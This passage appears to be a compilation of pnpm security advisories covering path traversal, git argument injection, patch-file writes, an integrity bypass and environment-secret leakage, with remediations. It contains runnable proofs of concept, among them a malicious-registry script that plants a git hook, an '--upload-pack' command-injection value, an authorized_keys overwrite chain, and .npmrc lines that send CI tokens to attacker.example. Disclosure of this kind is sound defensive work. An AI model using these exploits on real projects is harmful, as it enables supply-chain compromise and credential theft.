        return

@&#8203;contextlib.contextmanager
def registry():
    handler = type("RecordingRegistryHandler", (RegistryHandler,), {"requests": []})
    server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), handler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    try:
        yield server, handler.requests
    finally:
        server.shutdown()
        thread.join(timeout=5)
        server.server_close()

def make_package_tgz():
    global PACKAGE_TGZ
    if PACKAGE_TGZ is not None:
        return PACKAGE_TGZ
    bio = io.BytesIO()
    with tarfile.open(fileobj=bio, mode="w:gz") as tf:
        data = b'{"name":"@&#8203;private/probe","version":"1.0.0"}\n'
        info = tarfile.TarInfo("package/package.json")
        info.size = len(data)
        tf.addfile(info, io.BytesIO(data))
    PACKAGE_TGZ = bio.getvalue()
    return PACKAGE_TGZ

def write_text(path, text):
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_text(text, encoding="utf-8", newline="\n")

def run_install(tool, trusted_url, attacker_url):
    exe = shutil.which(tool)
    if exe is None:
        return {"tool": tool, "error": "missing"}
    cmd = [exe, "install", "--ignore-scripts"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return {"tool": tool, "error": "corepack missing"}
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "install", "--ignore-scripts"]

    with tempfile.TemporaryDirectory(prefix=f"pr166-min-{tool}-") as td:
        root = Path(td)
        home = root / "home"
        project = root / "project"
        home.mkdir()
        project.mkdir()
        userconfig = home / ".npmrc"

        write_text(userconfig, f"registry={trusted_url}\n_authToken={TOKEN}\n")
        write_text(project / ".npmrc", f"registry={attacker_url}\n")
        write_text(
            project / "package.json",
            '{"name":"pr166-probe","version":"1.0.0","dependencies":{"@&#8203;private/probe":"1.0.0"}}\n',
        )

        env = os.environ.copy()
        env.update(
            {
                "HOME": str(home),
                "USERPROFILE": str(home),
                "NPM_CONFIG_USERCONFIG": str(userconfig),
                "npm_config_userconfig": str(userconfig),
                "NPM_CONFIG_CACHE": str(home / "cache"),
                "npm_config_cache": str(home / "cache"),
                "NPM_CONFIG_STORE_DIR": str(home / "store"),
                "npm_config_store_dir": str(home / "store"),
                "XDG_CACHE_HOME": str(home / "xdg-cache"),
                "XDG_DATA_HOME": str(home / "xdg-data"),
                "NO_COLOR": "1",
            }
        )

        proc = subprocess.run(
            cmd,
            cwd=str(project),
            env=env,
            text=True,
            encoding="utf-8",
            errors="replace",
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            timeout=60,
        )
        return {"tool": tool, "returncode": proc.returncode, "output_tail": proc.stdout[-2000:]}

def summarize(tool, result, attacker_requests):
    auth_hits = [r for r in attacker_requests if r.get("authorization")]
    return {
        "tool": tool,
        "result": result,
        "attacker_auth_hits": auth_hits,
        "attacker_request_count": len(attacker_requests),
    }

def tool_version(tool):
    exe = shutil.which(tool)
    if exe is None:
        return "missing"
    cmd = [exe, "--version"]
    if tool == "pnpm" and os.environ.get("PR166_PNPM_SPEC"):
        corepack = shutil.which("corepack")
        if corepack is None:
            return "corepack missing"
        cmd = [corepack, f"pnpm@{os.environ['PR166_PNPM_SPEC']}", "--version"]
    proc = subprocess.run(
        cmd,
        text=True,
        encoding="utf-8",
        errors="replace",
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
        timeout=20,
    )
    return proc.stdout.strip() or f"exit-{proc.returncode}"

def main():
    pnpm_version = tool_version("pnpm")
    npm_version = tool_version("npm")
    print(f"TARGET_VERSION=pnpm {pnpm_version}; npm {npm_version}")
    if pnpm_version == "missing" or npm_version == "missing":
        print("CHECK environment_has_pnpm_and_npm result=fail")
        return 1

    print("ENVIRONMENT_READY")
    overall = []
    with registry() as (trusted, _trusted_requests), registry() as (attacker, attacker_requests):
        trusted_url = f"http://127.0.0.1:{trusted.server_port}/private/"
        attacker_url = f"http://127.0.0.1:{attacker.server_port}/private/"

        before = len(attacker_requests)
        pnpm_result = run_install("pnpm", trusted_url, attacker_url)
        pnpm_summary = summarize("pnpm", pnpm_result, attacker_requests[before:])
        overall.append(pnpm_summary)

        before = len(attacker_requests)
        npm_result = run_install("npm", trusted_url, attacker_url)
        npm_summary = summarize("npm", npm_result, attacker_requests[before:])
        overall.append(npm_summary)

    print(json.dumps(overall, indent=2))

    pnpm_leaked = bool(overall[0]["attacker_auth_hits"])
    npm_leaked = bool(overall[1]["attacker_auth_hits"])
    print(f"OBSERVED_PNPM_AUTH_HITS={len(overall[0]['attacker_auth_hits'])}")
    print(f"OBSERVED_NPM_AUTH_HITS={len(overall[1]['attacker_auth_hits'])}")
    print(
        "COMMAND_EXIT_CODE="
        f"pnpm:{overall[0]['result'].get('returncode', 'missing')} "
        f"npm:{overall[1]['result'].get('returncode', 'missing')}"
    )
    if pnpm_leaked and not npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=true result=pass")
        print("VULNERABLE_BEHAVIOR_CONFIRMED")
        print("RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD")
        print("RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED")
        return 0
    if pnpm_leaked and npm_leaked:
        print("CHECK pnpm_leaked=true npm_control_held=false result=fail")
        print("RESULT_BOTH_TOOLS_SENT_AUTH")
        return 2
    print("CHECK pnpm_leaked=false result=fail")
    print("RESULT_NO_PNPM_AUTH_LEAK")
    return 1

if __name__ == "__main__":
    sys.exit(main())
Abbreviated Expected Output
TARGET_VERSION=pnpm 11.2.1; npm 10.9.7
ENVIRONMENT_READY
...
OBSERVED_PNPM_AUTH_HITS=3
OBSERVED_NPM_AUTH_HITS=0
COMMAND_EXIT_CODE=pnpm:0 npm:1
CHECK pnpm_leaked=true npm_control_held=true result=pass
VULNERABLE_BEHAVIOR_CONFIRMED
RESULT_PNPM_REBINDS_UNSCOPED_USER_TOKEN_NPM_CONTROL_HELD
RESULT_SECURITY_BOUNDARY_BYPASS_CONFIRMED

Reporter: JUNYI LIU

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-50016 / GHSA-hwx4-2j3j-g496

More information

Details

Summary

pnpm allows a transitive dependency alias from registry package metadata to contain path traversal segments. During install, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause pnpm install - ignore-scripts to replace paths in the current project with symlinks to attacker-controlled dependency package directories.

.git/hooks is only one useful target. The same primitive can replace other project-local paths that are consumed by later tools, for example:

  • .husky or .githooks for Git hook dispatchers
  • scripts/, tools/, bin/, or tests/ for project scripts and CI commands
  • .github/actions/<name> for local GitHub Actions used later in the workflow
  • dist/ or other publish/build output directories before pnpm pack or
    pnpm publish
  • node_modules/.bin or undeclared node_modules/<name> paths used by later
    command or module resolution

Targets that are regular files can also be replaced with symlinks to a package directory, but those cases are usually denial of service. Directory targets are more useful because many developer tools execute or load files from those directories after installation.

This was reproduced with pnpm@11.2.1.

Impact

Users often run pnpm install --ignore-scripts expecting that untrusted package code cannot execute during installation. This issue bypasses that expectation: the malicious package does not need a lifecycle script. Instead, it silently rewires project files or directories during install, and the payload runs when the user or CI later executes another normal command.

Examples include git commit, pnpm test, pnpm run build, a CI step that uses a local GitHub Action, or pnpm publish packaging a replaced dist/ directory. In this PoC, the victim installs a normal registry package, the transitive malicious package replaces .git/hooks, and the payload runs when the victim later executes git commit.

Root Cause

pnpm preserves dependency alias names from package metadata and later passes those aliases into dependency linking as path components. The alias is joined with the destination node_modules directory and passed to the symlink creation logic without rejecting .. segments or checking that the normalized result stays inside the intended node_modules directory.

Conceptually, a transitive alias like this:

{
  "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@&#8203;x/../../../../../.git/hooks")

The normalized destination escapes the dependency's node_modules directory and lands at the victim project's .git/hooks path. pnpm then creates a symlink at that escaped destination to the resolved payload-hooks package directory.

The dependency chain is:

victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

{
  "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

Because this uses an npm: registry alias, it does not rely on a transitive file: or link: dependency.

Proof Of Concept

Run:

./run.sh

#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'

#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"

cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
  "name": "bad",
  "version": "1.0.0",
  "description": "transitive registry package",
  "dependencies": {
    "@&#8203;x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
  }
}
JSON

cat > "$REGISTRY_DIR/normal/package.json" <<'JSON'
{
  "name": "normal",
  "version": "1.0.0",
  "description": "normal looking package from a registry",
  "dependencies": {
    "bad": "1.0.0"
  }
}
JSON

(cd "$REGISTRY_DIR/payload-hooks" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/bad" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)
(cd "$REGISTRY_DIR/normal" && npm pack --pack-destination "$TARBALLS_DIR" --silent >/dev/null)

node - "$REGISTRY_DIR" "$READY_FILE" "$PORT_FILE" <<'NODE' &
const http = require('node:http')
const fs = require('node:fs')
const path = require('node:path')
const { execFileSync } = require('node:child_process')

const [registryDir, readyFile, portFile] = process.argv.slice(2)
const tarballsDir = path.join(registryDir, 'tarballs')

function shasum (filename) {
  return execFileSync('openssl', ['dgst', '-sha1', path.join(tarballsDir, filename)])
    .toString()
    .trim()
    .split(/\s+/)
    .pop()
}

function integrity (filename) {
  return 'sha512-' + execFileSync('openssl', ['dgst', '-sha512', '-binary', path.join(tarballsDir, filename)])
    .toString('base64')
}

function packument (pkgName, req) {
  const filename = `${pkgName}-1.0.0.tgz`
  const manifest = JSON.parse(fs.readFileSync(path.join(registryDir, pkgName, 'package.json'), 'utf8'))
  const origin = `http://${req.headers.host}`
  return {
    name: pkgName,
    'dist-tags': {
      latest: '1.0.0',
    },
    versions: {
      '1.0.0': {
        ...manifest,
        dist: {
          tarball: `${origin}/${pkgName}/-/${filename}`,
          shasum: shasum(filename),
          integrity: integrity(filename),
        },
      },
    },
  }
}

const server = http.createServer((req, res) => {
  const pathname = new URL(req.url, 'http://local.invalid').pathname
  if (req.method !== 'GET') {
    res.writeHead(405)
    res.end('method not allowed')
    return
  }
  if (pathname === '/normal' || pathname === '/bad' || pathname === '/payload-hooks') {
    const pkgName = pathname.slice(1)
    res.writeHead(200, { 'content-type': 'application/json' })
    res.end(JSON.stringify(packument(pkgName, req)))
    return
  }
  const tarballMatch = pathname.match(/^\/(normal|bad|payload-hooks)\/-\/(.+\.tgz)$/)
  if (tarballMatch) {
    const file = path.join(tarballsDir, tarballMatch[2])
    res.writeHead(200, { 'content-type': 'application/octet-stream' })
    fs.createReadStream(file).pipe(res)
    return
  }
  res.writeHead(404)
  res.end('not found')
})

server.listen(0, '127.0.0.1', () => {
  fs.writeFileSync(portFile, String(server.address().port))
  fs.writeFileSync(readyFile, 'ready')
})
NODE
REGISTRY_PID=$!
trap 'kill "$REGISTRY_PID" 2>/dev/null || true' EXIT INT TERM

WAIT_COUNT=0
while [ ! -f "$READY_FILE" ]; do
  WAIT_COUNT=$((WAIT_COUNT + 1))
  if [ "$WAIT_COUNT" -gt 100 ]; then
    echo "local registry did not start" >&2
    exit 1
  fi
  sleep 0.05
done
REGISTRY_PORT=$(cat "$PORT_FILE")

cd "$VICTIM_DIR"
git init -q
git config user.email demo@example.invalid
git config user.name "Demo User"

cat > package.json <<'JSON'
{
  "name": "victim",
  "version": "1.0.0"
}
JSON

cat > .npmrc <<EOF
registry=http://127.0.0.1:$REGISTRY_PORT/
EOF

printf 'pnpm: '
pnpm --version
printf 'registry: http://127.0.0.1:%s/\n' "$REGISTRY_PORT"
printf 'victim: %s\n\n' "$VICTIM_DIR"

pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt
git add change.txt

set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e

printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"

The script starts a local npm-compatible registry, writes a victim project .npmrc that points to that registry, installs normal@1.0.0 with --ignore-scripts, and then triggers git commit.

Requirements:

pnpm
npm
node
git
openssl

Expected output:

git commit exit code: 0
git commit stderr:
PWNED

PWNED is printed by the attacker-controlled pre-commit hook from the payload-hooks package.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Git Fetch Argument Injection via Lockfile resolution.commit

CVE-2026-50014 / GHSA-p4xf-rf54-rj3x

More information

Details

Summary

pnpm passes the lockfile-controlled git resolution.commit value to git fetch without a -- separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as --upload-pack=<command>. For SSH and local transports, --upload-pack can execute the supplied command. HTTPS transports ignore --upload-pack, so the practical attack surface is primarily SSH or local git dependencies.

Vulnerability Details

The vulnerable path is in fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:

await execGit(['fetch', '--depth', '1', 'origin', resolution.commit], { cwd: tempLocation })

Because resolution.commit is appended before a -- separator, Git can parse a commit value beginning with - as an option. The same file later passes the value to git checkout without a separator:

await execGit(['checkout', resolution.commit], { cwd: tempLocation })

resolution.commit comes from the lockfile and is typed as a plain string; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.

Proof of Concept
bash autofyn_audit/exploits/vuln11_git_upload_pack_rce/exploit.sh

##### Creates a local bare git repo and triggers the shallow-fetch path.
##### Replaces the lockfile commit hash with '--upload-pack=touch /tmp/vuln11_pwned'.

##### Result: PASS -- /tmp/vuln11_pwned created by injected touch command.

The PoC uses a local file://githost/... repository because the injection requires a local or SSH transport. HTTPS transport ignores --upload-pack.

Impact

Code execution as the user running pnpm install, under specific transport conditions. The attacker must modify pnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.

Suggested Remediation

Add a -- separator before lockfile-controlled git revision values. Validate resolution.commit matches /^[0-9a-f]{40}$/i before passing to Git.


Discovered by AutoFyn
Full audit report: audit_report.md
Exploit script: exploit.sh

Severity

  • CVSS Score: 6.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm Vulnerable to Arbitrary File Write/Delete via Malicious Patch File (Path Traversal)

CVE-2026-50015 / GHSA-rxhj-4m44-96r4

More information

Details

Summary

pnpm's patch application pipeline (@pnpm/patch-package) performs no path validation on file paths extracted from .patch files. An attacker who contributes a malicious patch file via a pull request can write attacker-controlled content to or delete arbitrary files on the filesystem during pnpm install, as the user running the install. The diff --git header paths containing ../../ sequences traverse out of the package directory, and the traversal is difficult to catch in code review because patch file diff headers are opaque to most reviewers.

Vulnerability Details

During pnpm install, when a patchedDependencies entry is present in pnpm-workspace.yaml, pnpm reads the referenced .patch file and applies it via the embedded @pnpm/patch-package library. The applyPatchToDir function at patching/apply-patch/src/index.ts:12-13 calls process.chdir(opts.patchedDir), setting the working directory to the installed package location deep inside node_modules/.pnpm/.

The patch parser at @pnpm/patch-package/dist/patch/parse.js:88 extracts file paths from diff --git a/(.*?) b/(.*?) headers using a regex with no path sanitization. The executeEffects function in apply.js then operates on these unsanitized paths:

File write (apply.js:35-49):

case 'file creation': {
  const eff = effect
  fs.ensureDirSync(dirname(eff.path))
  fs.writeFileSync(eff.path, fileContents, { mode: eff.mode })
  break
}

File delete (apply.js:13-22):

case 'file deletion': {
  const eff = effect
  // TODO: integrity checks
  if (!opts.dryRun) {
    fs.unlinkSync(eff.path)
  }
  break
}

A path like ../../../../../../../../../../home/user/.ssh/authorized_keys in the patch header traverses out of the package directory to an arbitrary location.

Proof of Concept

##### Write variant:
bash autofyn_audit/exploits/vuln6_patch_traversal_write/exploit.sh

##### Result: PASS -- /tmp/vuln6_pwned created with attacker-controlled content

##### Delete variant:
bash autofyn_audit/exploits/vuln7_patch_traversal_delete/exploit.sh

##### Result: PASS -- /tmp/vuln7_target deleted by malicious patch

##### Combined chain (delete + replace SSH authorized_keys):
bash autofyn_audit/exploits/chain2_patch_ssh_backdoor/exploit.sh

##### Result: PASS -- authorized_keys replaced with attacker's public key
Impact

Arbitrary file write and delete as the user running pnpm install, limited to paths writable by that user. An attacker who submits a PR adding a .patch file and patchedDependencies config can target SSH authorized_keys, shell configuration, CI/CD files, or other writable files. Patch files may receive less review scrutiny than package.json changes because the ../ traversal sequences are in diff --git headers that look like patch metadata.

Suggested Remediation

Validate parsed patch file paths against the package root directory. Reject any path that resolves outside the patched package directory via path.resolve + prefix check. Alternatively, sanitize at parse time by rejecting paths containing .. components in parse.js.


Discovered by AutoFyn
Full audit report: audit_report.md
Exploit script: exploit.sh

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm Has an Integrity Check Bypass via Missing Lockfile Integrity Field

CVE-2026-50021 / GHSA-q6j5-fjx5-2mc3

More information

Details

Summary

pnpm's tarball extraction worker skips integrity verification when the integrity field is absent from the lockfile resolution. If an attacker can both modify pnpm-lock.yaml to remove the integrity: field and cause the referenced registry URL to serve altered package content, pnpm install --frozen-lockfile can install the altered package without an integrity error. npm's npm ci enforces integrity by default; pnpm's behavior of silently skipping verification is a pnpm-specific fail-open gap.

Vulnerability Details

The addTarballToStore function in worker/src/start.ts (lines 189-204) checks if (integrity) before verifying the tarball hash. The TarballResolution type declares integrity as optional (integrity?: string). When the lockfile omits the integrity field, the guard evaluates to false, skipping hash verification entirely. The worker then computes a new hash from the unverified content and stores it as legitimate.

// worker/src/start.ts:189-204
function addTarballToStore ({ buffer, storeDir, integrity, ... }: TarballExtractMessage) {
  if (integrity) {           // false when integrity is undefined
    const { algorithm, hexDigest } = parseIntegrity(integrity)
    const calculatedHash = crypto.hash(algorithm, buffer, 'hex')
    if (calculatedHash !== hexDigest) {
      return { status: 'error', error: { type: 'integrity_validation_failed', ... } }
    }
  }
  return {
    status: 'success',
    value: { integrity: integrity ?? calcIntegrity(buffer) },
  }
}
Proof of Concept
bash autofyn_audit/exploits/vuln1_integrity_bypass/exploit.sh

##### Publishes a package, generates lockfile, republishes tampered version,
##### strips integrity field, re-runs install --frozen-lockfile.

##### Result: PASS -- tampered package installed without integrity error.
Impact

Supply chain compromise in environments where an attacker can both alter the lockfile and cause the referenced registry URL to serve altered package content. The --frozen-lockfile flag does not fail closed when the integrity field is missing.

Suggested Remediation

Require an integrity field for remote tarball resolutions. Change the if (integrity) guard to fail when integrity is absent for non-local packages. When --frozen-lockfile is active, reject lockfile entries that lack integrity for remote packages.


Discovered by AutoFyn
Full audit report: audit_report.md
Exploit script: exploit.sh

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Repository config can expand victim environment secrets into registry requests before scripts run

CVE-2026-55180 / GHSA-3qhv-2rgh-x77r

More information

Details

Maintainer Action Plan

This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.

  • Advisory: CAND-PNPM-122 / GHSA-3qhv-2rgh-x77r
  • Advisory URL: https://github.com/pnpm/pnpm/security/advisories/GHSA-3qhv-2rgh-x77r
  • Shared patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
  • Shared patch branch: security/ghsa-batch-2026-06-09
  • Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
  • Base commit: origin/main 55a4035abf1ae3fe7208ba1f5ef43c5eff58ccec
  • Maintainer priority: start-here
  • Component: pnpm config/env replacement and registry auth
  • Patch area: project .npmrc env placeholders are not expanded into registry/auth destinations
  • Affected packages: npm:pnpm, npm:@&#8203;pnpm/config.reader, rust:pacquet
  • CWE IDs: CWE-201, CWE-200, CWE-522
  • Conservative CVSS: 6.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
  • Next action: review the shared patch branch for this component, set the final affected version range, merge and release the fix, then publish or close the advisory.
Expected Patched Behavior

Project .npmrc environment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.

Files And Tests To Review
  • config/reader/src/loadNpmrcFiles.ts
  • config/reader/src/getOptionsFromRootManifest.ts
  • config/reader/test/index.ts
  • config/reader/test/getOptionsFromRootManifest.test.ts
  • pacquet/crates/config/src/npmrc_auth.rs
  • pacquet/crates/config/src/npmrc_auth/tests.rs
  • pacquet/crates/config/src/workspace_yaml.rs
  • pacquet/crates/config/src/workspace_yaml/tests.rs
  • .changeset/sharp-registry-env-placeholders.md
Focused Validation

Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts
cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib
cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib
git diff --check
cargo fmt --check

The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is results/CAND-PNPM-122-patched-result.json.

CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
Advisory Details
Summary

pnpm and pacquet expanded ${ENV_VAR} placeholders from repository-controlled .npmrc and pnpm-workspace.yaml into registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.

Details

The vulnerable TypeScript pnpm path was:

  • config/reader/src/loadNpmrcFiles.ts loaded project .npmrc and substituted environment placeholders in keys and values.
  • config/reader/src/getOptionsFromRootManifest.ts substituted environment placeholders inside workspace registry, registries, and namedRegistries settings.
  • config/reader/src/index.ts merged those expanded registry/auth values into pnpmConfig.registries, pnpmConfig.authConfig, and pnpmConfig.configByUri.
  • resolving/npm-resolver/src/fetch.ts built metadata request URLs from the selected registry.
  • network/fetch/src/fetchFromRegistry.ts dispatched the request and attached matching auth headers before install lifecycle scripts could run.

The pacquet parity path was:

  • pacquet/crates/config/src/npmrc_auth.rs expanded project .npmrc placeholders while parsing registry URLs and auth values.
  • pacquet/crates/config/src/workspace_yaml.rs expanded workspace registry placeholders.
  • pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs used the configured registry URL and AuthHeaders for metadata fetches.
PoC

Repository .npmrc URL-path exfiltration:

registry=https://attacker.example/${CI_JOB_TOKEN}/

Repository .npmrc auth-header exfiltration:

registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}

Repository pnpm-workspace.yaml URL-path exfiltration:

registries:
  default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
  work: https://attacker.example/${CI_JOB_TOKEN}/npm/

Exploit method:

  1. The victim checks out the repository and runs a pnpm or pacquet dependency-management command with CI_JOB_TOKEN or another sensitive environment variable present.
  2. Before the patch, repository config expanded the placeholder to the victim secret.
  3. The resolver used the expanded registry or matching auth entry to construct a metadata request.
  4. The victim sent a request such as https://attacker.example/<secret>/<package> or Authorization: Bearer <secret> to the attacker-controlled endpoint.

Validation PoC:

The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.

Impact

A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.

Affected Products

Ecosystem: npm

Package name: pnpm, @pnpm/config.reader; pacquet Rust port

Affected versions: current main before this patch, when project .npmrc or pnpm-workspace.yaml contains environment placeholders in registry request destinations or project .npmrc contains environment placeholders in registry credential values.

Patched versions: pending release containing this patch.

Severity

Severity before patch: High

Vector string before patch: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Score before patch: 7.4

Severity after patch: None

Vector string after patch: not vulnerable after patch

Score after patch: 0.0

Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.

Weaknesses

CWE-201: Insertion of Sensitive Information Into Sent Data

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

CWE-522: Insufficiently Protected Credentials

Patch

The patch makes environment expansion trust-aware for registry requests:

  • Project .npmrc no longer expands ${...} in registry, @scope:registry, proxy URL values, URL-scoped keys such as //host/${SECRET}/:_authToken, or registry credential values such as //host/:_authToken=${SECRET} and _authToken=${SECRET}.
  • User .npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.
  • pnpm-workspace.yaml no longer expands ${...} in registry, registries, or namedRegistries URL values.
  • Trusted user-level auth values such as //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the .npmrc is supplied as user config.
  • Pacquet mirrors the same boundary with from_project_ini() for project .npmrc and workspace registry filtering.

Changed files:

  • config/reader/src/loadNpmrcFiles.ts
  • config/reader/src/getOptionsFromRootManifest.ts
  • config/reader/test/index.ts
  • config/reader/test/getOptionsFromRootManifest.test.ts
  • pacquet/crates/config/src/npmrc_auth.rs
  • pacquet/crates/config/src/npmrc_auth/tests.rs
  • pacquet/crates/config/src/workspace_yaml.rs
  • pacquet/crates/config/src/workspace_yaml/tests.rs

Changeset:

  • .changeset/sharp-registry-env-placeholders.md

Pacquet parity:

Ported in the same patch. Pacquet dependency-management commands now parse project .npmrc with request-destination and credential-value env expansion disabled, and drop workspace registry values containing ${...} placeholders.

Verification

Post-patch validation:

The PoC ran:

./node_modules/.bin/tsgo --build config/reader/tsconfig.json
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand
NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .*undefined.* fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand
